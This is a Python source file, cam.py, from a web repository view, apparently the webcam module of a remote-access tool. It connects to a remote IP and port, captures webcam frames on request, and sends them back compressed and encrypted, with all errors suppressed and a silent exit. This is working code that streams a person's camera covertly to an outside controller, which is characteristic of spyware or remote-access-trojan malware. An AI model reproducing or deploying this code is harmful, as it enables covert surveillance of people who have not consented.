summaryrefslogtreecommitdiff
path: root/Modules/Clients/cam.py
blob: 04cdad49cca56ee4c4277a556cc903cd95764d61 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
import pickle
import zlib
import cv2

from Specific.encrypt import Encryption
from sys import exit


def Cam(ip, port, encoding, position):
  try:
    headersize = 10
    new_msg = True
    msg_len = 0
    full_msg = b''

    e = Encryption()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))

    cam = cv2.VideoCapture(position)

    while True:
      try:
        Cam_msg = s.recv(1024)

        if new_msg:
          msg_len = int(Cam_msg[:headersize])
          new_msg = False

        full_msg += Cam_msg

        if len(full_msg)-headersize == msg_len:
          check, frame = cam.read()
          frame = pickle.dumps(frame)
          frame = zlib.compress(frame, 1)
          frame = e.do_encrypt(frame)

          final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame
          s.send(final_msg)

          new_msg = True
          msg_len = 0
          full_msg = b''
      except:
        cam.release()
        cv2.destroyAllWindows()
        exit(0)
  except:
    exit(0)